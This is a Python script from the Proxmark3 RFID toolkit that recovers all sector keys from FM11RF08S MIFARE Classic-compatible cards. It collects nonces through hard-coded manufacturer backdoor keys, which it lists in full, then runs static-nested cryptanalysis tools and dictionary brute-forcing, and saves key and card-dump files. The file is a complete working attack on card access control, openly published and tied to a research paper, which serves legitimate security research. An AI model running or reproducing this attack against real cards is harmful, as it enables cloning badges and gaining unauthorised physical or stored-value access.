Merge pull request #2593 from Akury83/master
[RRG-proxmark3.git] / client / pyscripts / fm11rf08s_recovery.py
blob71f785111bdde88b3753c4c530bc7a0c84efc226
1 #!/usr/bin/env python3
3 # Combine several attacks to recover all FM11RF08S keys
5 # Conditions:
6 # * Presence of the backdoor with known key
8 # Duration strongly depends on some key being reused and where.
9 # Examples:
10 # * 32 random keys: ~20 min
11 # * 16 random keys with keyA==keyB in each sector: ~30 min
12 # * 24 random keys, some reused across sectors: <1 min
14 # Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
16 import os
17 import sys
18 import time
19 import subprocess
20 import argparse
21 import json
22 import pm3
23 # optional color support
24 try:
25 # pip install ansicolors
26 from colors import color
27 except ModuleNotFoundError:
28 def color(s, fg=None):
29 _ = fg
30 return str(s)
32 required_version = (3, 8)
33 if sys.version_info < required_version:
34 print(f"Python version: {sys.version}")
35 print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.")
36 exit()
38 # First try FM11RF08S key
39 # Then FM11RF08 key as some rare *98 cards are using it too
40 # Then FM11RF32N key, just in case...
41 BACKDOOR_KEYS = ["A396EFA4E24F", "A31667A8CEC1", "518B3354E760"]
43 NUM_SECTORS = 16
44 NUM_EXTRA_SECTORS = 1
45 DICT_DEF = "mfc_default_keys.dic"
46 DEFAULT_KEYS = set()
47 if os.path.basename(os.path.dirname(os.path.dirname(sys.argv[0]))) == 'client':
48 # dev setup
49 TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}",
50 "..", "..", "tools", "mfc", "card_only"))
51 DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}",
52 "..", "dictionaries", DICT_DEF))
53 else:
54 # assuming installed
55 TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}",
56 "..", "tools"))
57 DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}",
58 "dictionaries", DICT_DEF))
60 tools = {
61 "staticnested_1nt": os.path.join(f"{TOOLS_PATH}", "staticnested_1nt"),
62 "staticnested_2x1nt": os.path.join(f"{TOOLS_PATH}", "staticnested_2x1nt_rf08s"),
63 "staticnested_2x1nt1key": os.path.join(f"{TOOLS_PATH}", "staticnested_2x1nt_rf08s_1key"),
65 for tool, bin in tools.items():
66 if not os.path.isfile(bin):
67 if os.path.isfile(bin + ".exe"):
68 tools[tool] = bin + ".exe"
69 else:
70 print(f"Cannot find {bin}, abort!")
71 exit()
73 parser = argparse.ArgumentParser(description='A script combining staticnested* tools '
74 'to recover all keys from a FM11RF08S card.')
75 parser.add_argument('-x', '--init-check', action='store_true', help='Run an initial fchk for default keys')
76 parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys')
77 parser.add_argument('-k', '--keep', action='store_true', help='Keep generated dictionaries after processing')
78 parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode')
79 parser.add_argument('-s', '--supply-chain', action='store_true', help='Enable supply-chain mode. Look for hf-mf-XXXXXXXX-default_nonces.json')
80 # Such json can be produced from the json saved by
81 # "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with
82 # jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}'
83 args = parser.parse_args()
85 start_time = time.time()
86 p = pm3.pm3()
88 p.console("hf 14a read")
89 uid = None
91 for line in p.grabbed_output.split('\n'):
92 if "UID:" in line:
93 uid = int(line[10:].replace(' ', '')[-8:], 16)
95 if uid is None:
96 print("Card not found")
97 exit()
98 print("UID: " + color(f"{uid:08X}", fg="green"))
101 def print_key(sec, key_type, key):
102 kt = ['A', 'B'][key_type]
103 print(f"Sector {sec:2} key{kt} = " + color(key, fg="green"))
105 p.console("prefs show --json")
106 prefs = json.loads(p.grabbed_output)
107 save_path = prefs['file.default.dumppath'] + os.path.sep
109 found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
110 if args.init_check:
111 print("Checking default keys...")
112 p.console("hf mf fchk")
113 for line in p.grabbed_output.split('\n'):
114 if "[+] 0" in line:
115 res = [x.strip() for x in line.split('|')]
116 sec = int(res[0][4:])
117 if res[3] == '1':
118 found_keys[sec][0] = res[2]
119 print_key(sec, 0, found_keys[sec][0])
120 if res[5] == '1':
121 found_keys[sec][1] = res[4]
122 print_key(sec, 1, found_keys[sec][1])
124 print("Getting nonces...")
125 nonces_with_data = ""
126 for key in BACKDOOR_KEYS:
127 cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {key}"
128 p.console(cmd)
129 for line in p.grabbed_output.split('\n'):
130 if "Wrong" in line or "error" in line:
131 break
132 if "Saved" in line:
133 nonces_with_data = line[line.index("`"):].strip("`")
134 if nonces_with_data != "":
135 break
137 if (nonces_with_data == ""):
138 print("Error getting nonces, abort.")
139 exit()
141 try:
142 with open(nonces_with_data, 'r') as file:
143 # Load and parse the JSON data
144 dict_nwd = json.load(file)
145 except json.decoder.JSONDecodeError:
146 print(f"Error parsing {nonces_with_data}, abort.")
147 exit()
149 nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
150 nt_enc = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
151 par_err = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
152 data = ["" for _ in range(NUM_SECTORS * 4)]
153 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
154 real_sec = sec
155 if sec >= NUM_SECTORS:
156 real_sec += 16
157 nt[sec][0] = dict_nwd["nt"][f"{real_sec}"]["a"].lower()
158 nt[sec][1] = dict_nwd["nt"][f"{real_sec}"]["b"].lower()
159 nt_enc[sec][0] = dict_nwd["nt_enc"][f"{real_sec}"]["a"].lower()
160 nt_enc[sec][1] = dict_nwd["nt_enc"][f"{real_sec}"]["b"].lower()
161 par_err[sec][0] = dict_nwd["par_err"][f"{real_sec}"]["a"]
162 par_err[sec][1] = dict_nwd["par_err"][f"{real_sec}"]["b"]
163 for blk in range(NUM_SECTORS * 4):
164 data[blk] = dict_nwd["blocks"][f"{blk}"]
166 print("Generating first dump file")
167 dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin"
168 with (open(dumpfile, "wb")) as f:
169 for sec in range(NUM_SECTORS):
170 for b in range(4):
171 d = data[(sec * 4) + b]
172 if b == 3:
173 ka = found_keys[sec][0]
174 kb = found_keys[sec][1]
175 if ka == "":
176 ka = "FFFFFFFFFFFF"
177 if kb == "":
178 kb = "FFFFFFFFFFFF"
179 d = ka + d[12:20] + kb
180 f.write(bytes.fromhex(d))
181 print(f"Data has been dumped to `{dumpfile}`")
183 elapsed_time1 = time.time() - start_time
184 minutes = int(elapsed_time1 // 60)
185 seconds = int(elapsed_time1 % 60)
186 print("----Step 1: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
187 color(f"{seconds:2}", fg="yellow") + " seconds -----------")
189 if os.path.isfile(DICT_DEF_PATH):
190 print(f"Loading {DICT_DEF}")
191 with open(DICT_DEF_PATH, 'r', encoding='utf-8') as file:
192 for line in file:
193 if line[0] != '#' and len(line) >= 12:
194 DEFAULT_KEYS.add(line[:12])
195 else:
196 print(f"Warning, {DICT_DEF} not found.")
198 dict_dnwd = None
199 def_nt = ["" for _ in range(NUM_SECTORS)]
200 if args.supply_chain:
201 try:
202 default_nonces = f'{save_path}hf-mf-{uid:04X}-default_nonces.json'
203 with open(default_nonces, 'r') as file:
204 # Load and parse the JSON data
205 dict_dnwd = json.load(file)
206 for sec in range(NUM_SECTORS):
207 def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower()
208 print(f"Loaded default nonces from {default_nonces}.")
209 except FileNotFoundError:
210 pass
211 except json.decoder.JSONDecodeError:
212 print(f"Error parsing {default_nonces}, skipping.")
214 print("Running staticnested_1nt & 2x1nt when doable...")
215 keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
216 all_keys = set()
217 duplicates = set()
218 # Availability of filtered dicts
219 filtered_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
220 found_default = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
221 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
222 real_sec = sec
223 if sec >= NUM_SECTORS:
224 real_sec += 16
225 if found_keys[sec][0] != "" and found_keys[sec][1] != "":
226 continue
227 if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] != nt[sec][1]:
228 for key_type in [0, 1]:
229 cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}",
230 nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]]
231 if args.debug:
232 print(' '.join(cmd))
233 subprocess.run(cmd, capture_output=True)
234 cmd = [tools["staticnested_2x1nt"],
235 f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"]
236 if args.debug:
237 print(' '.join(cmd))
238 subprocess.run(cmd, capture_output=True)
239 filtered_dicts[sec][key_type] = True
240 for key_type in [0, 1]:
241 keys_set = set()
242 with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic")) as f:
243 while line := f.readline().rstrip():
244 keys_set.add(line)
245 keys[sec][key_type] = keys_set.copy()
246 duplicates.update(all_keys.intersection(keys_set))
247 all_keys.update(keys_set)
248 if dict_dnwd is not None and sec < NUM_SECTORS:
249 # Prioritize keys from supply-chain attack
250 cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"]
251 if args.debug:
252 print(' '.join(cmd))
253 result = subprocess.run(cmd, capture_output=True, text=True).stdout
254 keys_def_set = set()
255 for line in result.split('\n'):
256 if "MATCH:" in line:
257 keys_def_set.add(line[12:])
258 keys_set.difference_update(keys_def_set)
259 else:
260 # Prioritize default keys
261 keys_def_set = DEFAULT_KEYS.intersection(keys_set)
262 keys_set.difference_update(keys_def_set)
263 # Prioritize sector 32 keyB starting with 0000
264 if real_sec == 32:
265 keyb32cands = set(x for x in keys_set if x.startswith("0000"))
266 keys_def_set.update(keyb32cands)
267 keys_set.difference_update(keyb32cands)
268 if len(keys_def_set) > 0:
269 found_default[sec][key_type] = True
270 with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", "w")) as f:
271 for k in keys_def_set:
272 f.write(f"{k}\n")
273 for k in keys_set:
274 f.write(f"{k}\n")
275 else: # one key not found or both identical
276 if found_keys[sec][0] == "":
277 key_type = 0
278 else:
279 key_type = 1
280 cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}",
281 nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]]
282 if args.debug:
283 print(' '.join(cmd))
284 subprocess.run(cmd, capture_output=True)
285 keys_set = set()
286 with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic")) as f:
287 while line := f.readline().rstrip():
288 keys_set.add(line)
289 keys[sec][key_type] = keys_set.copy()
290 duplicates.update(all_keys.intersection(keys_set))
291 all_keys.update(keys_set)
292 if dict_dnwd is not None and sec < NUM_SECTORS:
293 # Prioritize keys from supply-chain attack
294 cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"]
295 if args.debug:
296 print(' '.join(cmd))
297 result = subprocess.run(cmd, capture_output=True, text=True).stdout
298 keys_def_set = set()
299 for line in result.split('\n'):
300 if "MATCH:" in line:
301 keys_def_set.add(line[12:])
302 keys_set.difference_update(keys_def_set)
303 else:
304 # Prioritize default keys
305 keys_def_set = DEFAULT_KEYS.intersection(keys_set)
306 keys_set.difference_update(keys_def_set)
307 if len(keys_def_set) > 0:
308 found_default[sec][key_type] = True
309 with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w")) as f:
310 for k in keys_def_set:
311 f.write(f"{k}\n")
312 for k in keys_set:
313 f.write(f"{k}\n")
315 print("Looking for common keys across sectors...")
316 keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
317 for dup in duplicates:
318 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
319 for key_type in [0, 1]:
320 if dup in keys[sec][key_type]:
321 keys_filtered[sec][key_type].add(dup)
323 # Availability of duplicates dicts
324 duplicates_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
325 first = True
326 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
327 real_sec = sec
328 if sec >= NUM_SECTORS:
329 real_sec += 16
330 for key_type in [0, 1]:
331 if len(keys_filtered[sec][key_type]) > 0:
332 if first:
333 print("Saving duplicates dicts...")
334 first = False
335 with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f:
336 keys_set = keys_filtered[sec][key_type].copy()
337 keys_def_set = DEFAULT_KEYS.intersection(keys_set)
338 keys_set.difference_update(DEFAULT_KEYS)
339 for k in keys_def_set:
340 f.write(f"{k}\n")
341 for k in keys_set:
342 f.write(f"{k}\n")
343 duplicates_dicts[sec][key_type] = True
345 print("Computing needed time for attack...")
346 candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)]
347 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
348 real_sec = sec
349 if sec >= NUM_SECTORS:
350 real_sec += 16
351 for key_type in [0, 1]:
352 if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]:
353 kt = ['a', 'b'][key_type]
354 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic"
355 with open(dic, 'r') as file:
356 count = sum(1 for _ in file)
357 # print(f"dic {dic} size {count}")
358 candidates[sec][key_type] = count
359 if nt[sec][0] == nt[sec][1]:
360 candidates[sec][key_type ^ 1] = 1
361 for key_type in [0, 1]:
362 if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type] and candidates[sec][0] == 0 and candidates[sec][1] == 0:
363 if found_default[sec][key_type]:
364 # We assume the default key is correct
365 candidates[sec][key_type] = 1
366 else:
367 kt = ['a', 'b'][key_type]
368 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"
369 with open(dic, 'r') as file:
370 count = sum(1 for _ in file)
371 # print(f"dic {dic} size {count}")
372 candidates[sec][key_type] = count
373 if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1] and candidates[sec][0] == 0 and candidates[sec][1] == 0:
374 if found_default[sec][0]:
375 # We assume the default key is correct
376 candidates[sec][0] = 1
377 candidates[sec][1] = 1
378 else:
379 key_type = 0
380 kt = ['a', 'b'][key_type]
381 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"
382 with open(dic, 'r') as file:
383 count = sum(1 for _ in file)
384 # print(f"dic {dic} size {count}")
385 candidates[sec][0] = count
386 candidates[sec][1] = 1
388 if args.debug:
389 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
390 real_sec = sec
391 if sec >= NUM_SECTORS:
392 real_sec += 16
393 print(f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ")
394 total_candidates = sum(candidates[sec][0] + candidates[sec][1] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS))
396 elapsed_time2 = time.time() - start_time - elapsed_time1
397 minutes = int(elapsed_time2 // 60)
398 seconds = int(elapsed_time2 % 60)
399 print("----Step 2: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
400 color(f"{seconds:2}", fg="yellow") + " seconds -----------")
402 # fchk: 147 keys/s. Correct key found after 50% of candidates on average
403 FCHK_KEYS_S = 147
404 foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5
405 minutes = int(foreseen_time // 60)
406 seconds = int(foreseen_time % 60)
407 print("Still about " + color(f"{minutes:2}", fg="yellow") + " minutes " +
408 color(f"{seconds:2}", fg="yellow") + " seconds to run...")
410 abort = False
411 print("Brute-forcing keys... Press any key to interrupt")
412 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
413 real_sec = sec
414 if sec >= NUM_SECTORS:
415 real_sec += 16
416 for key_type in [0, 1]:
417 # If we have a duplicates dict
418 # note: we skip if we already know one key
419 # as using 2x1nt1key later will be faster
420 if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]:
421 kt = ['a', 'b'][key_type]
422 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic"
423 cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
424 if args.debug:
425 print(cmd)
426 p.console(cmd)
427 for line in p.grabbed_output.split('\n'):
428 if "aborted via keyboard" in line:
429 abort = True
430 if "found:" in line:
431 found_keys[sec][key_type] = line[30:].strip()
432 print_key(real_sec, key_type, found_keys[sec][key_type])
433 if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "":
434 found_keys[sec][key_type ^ 1] = found_keys[sec][key_type]
435 print_key(real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1])
436 if abort:
437 break
438 if abort:
439 break
441 for key_type in [0, 1]:
442 # If we have a filtered dict
443 # note: we skip if we already know one key
444 # as using 2x1nt1key later will be faster
445 if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type]:
446 # Use filtered dict
447 kt = ['a', 'b'][key_type]
448 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"
449 cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
450 if args.debug:
451 print(cmd)
452 p.console(cmd)
453 for line in p.grabbed_output.split('\n'):
454 if "aborted via keyboard" in line:
455 abort = True
456 if "found:" in line:
457 found_keys[sec][key_type] = line[30:].strip()
458 print_key(real_sec, key_type, found_keys[sec][key_type])
459 if abort:
460 break
461 if abort:
462 break
464 # If one common key for the sector
465 if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1]:
466 key_type = 0
467 # Use regular dict
468 kt = ['a', 'b'][key_type]
469 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"
470 cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
471 if args.debug:
472 print(cmd)
473 p.console(cmd)
474 for line in p.grabbed_output.split('\n'):
475 if "aborted via keyboard" in line:
476 abort = True
477 if "found:" in line:
478 found_keys[sec][0] = line[30:].strip()
479 found_keys[sec][1] = line[30:].strip()
480 print_key(real_sec, 0, found_keys[sec][key_type])
481 print_key(real_sec, 1, found_keys[sec][key_type])
482 if abort:
483 break
485 # If one key is missing, use the other one with 2x1nt1key
486 if ((found_keys[sec][0] == "") ^ (found_keys[sec][1] == "")) and nt[sec][0] != nt[sec][1]:
487 if (found_keys[sec][0] == ""):
488 key_type_source = 1
489 key_type_target = 0
490 else:
491 key_type_source = 0
492 key_type_target = 1
493 if duplicates_dicts[sec][key_type_target]:
494 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_duplicates.dic"
495 elif filtered_dicts[sec][key_type_target]:
496 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_filtered.dic"
497 else:
498 dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic"
499 cmd = [tools["staticnested_2x1nt1key"], nt[sec][key_type_source], found_keys[sec][key_type_source], dic]
500 if args.debug:
501 print(' '.join(cmd))
502 result = subprocess.run(cmd, capture_output=True, text=True).stdout
503 keys = set()
504 for line in result.split('\n'):
505 if "MATCH:" in line:
506 keys.add(line[12:])
507 if len(keys) > 1:
508 kt = ['a', 'b'][key_type_target]
509 cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default"
510 for k in keys:
511 cmd += f" -k {k}"
512 if args.debug:
513 print(cmd)
514 p.console(cmd)
515 for line in p.grabbed_output.split('\n'):
516 if "aborted via keyboard" in line:
517 abort = True
518 if "found:" in line:
519 found_keys[sec][key_type_target] = line[30:].strip()
520 elif len(keys) == 1:
521 found_keys[sec][key_type_target] = keys.pop()
522 if found_keys[sec][key_type_target] != "":
523 print_key(real_sec, key_type_target, found_keys[sec][key_type_target])
524 if abort:
525 break
527 if abort:
528 print("Brute-forcing phase aborted via keyboard!")
529 args.final_check = False
531 plus = "[" + color("+", fg="green") + "] "
532 if args.final_check:
533 print("Letting fchk do a final dump, just for confirmation and display...")
534 keys_set = set([i for sl in found_keys for i in sl if i != ""])
535 with (open(f"keys_{uid:08x}.dic", "w")) as f:
536 for k in keys_set:
537 f.write(f"{k}\n")
538 cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump"
539 if args.debug:
540 print(cmd)
541 p.console(cmd, passthru=True)
542 else:
543 print()
544 print(plus + color("found keys:", fg="green"))
545 print()
546 print(plus + "-----+-----+--------------+---+--------------+----")
547 print(plus + " Sec | Blk | key A |res| key B |res")
548 print(plus + "-----+-----+--------------+---+--------------+----")
549 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
550 real_sec = sec
551 if sec >= NUM_SECTORS:
552 real_sec += 16
553 keys = [["", 0], ["", 0]]
554 for key_type in [0, 1]:
555 if found_keys[sec][key_type] == "":
556 keys[key_type] = [color("------------", fg="red"), color("0", fg="red")]
557 else:
558 keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")]
559 print(plus + f" {real_sec:03} | {real_sec*4+3:03} | {keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ")
560 print(plus + "-----+-----+--------------+---+--------------+----")
561 print(plus + "( " + color("0", fg="red") + ":Failed / " +
562 color("1", fg="green") + ":Success )")
563 print()
564 print(plus + "Generating binary key file")
565 keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin"
566 unknown = False
567 with (open(keyfile, "wb")) as f:
568 for key_type in [0, 1]:
569 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
570 k = found_keys[sec][key_type]
571 if k == "":
572 k = "FFFFFFFFFFFF"
573 unknown = True
574 f.write(bytes.fromhex(k))
575 print(plus + "Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`")
576 if unknown:
577 print("[" + color("=", fg="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg="yellow") +
578 " ]-- has been inserted for unknown keys")
579 print(plus + "Generating final dump file")
580 dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin"
581 with (open(dumpfile, "wb")) as f:
582 for sec in range(NUM_SECTORS):
583 for b in range(4):
584 d = data[(sec * 4) + b]
585 if b == 3:
586 ka = found_keys[sec][0]
587 kb = found_keys[sec][1]
588 if ka == "":
589 ka = "FFFFFFFFFFFF"
590 if kb == "":
591 kb = "FFFFFFFFFFFF"
592 d = ka + d[12:20] + kb
593 f.write(bytes.fromhex(d))
594 print(plus + "Data has been dumped to `" + color(dumpfile, fg="yellow")+"`")
596 # Remove generated dictionaries after processing
597 if not args.keep:
598 print(plus + "Removing generated dictionaries...")
599 for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS):
600 real_sec = sec
601 if sec >= NUM_SECTORS:
602 real_sec += 16
603 for key_type in [0, 1]:
604 for append in ["", "_filtered", "_duplicates"]:
605 file_name = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}{append}.dic"
606 if os.path.isfile(file_name):
607 os.remove(file_name)
609 elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2
610 minutes = int(elapsed_time3 // 60)
611 seconds = int(elapsed_time3 % 60)
612 print("----Step 3: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
613 color(f"{seconds:2}", fg="yellow") + " seconds -----------")
615 elapsed_time = time.time() - start_time
616 minutes = int(elapsed_time // 60)
617 seconds = int(elapsed_time % 60)
618 print("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " +
619 color(f"{seconds:2}", fg="yellow") + " seconds -----------")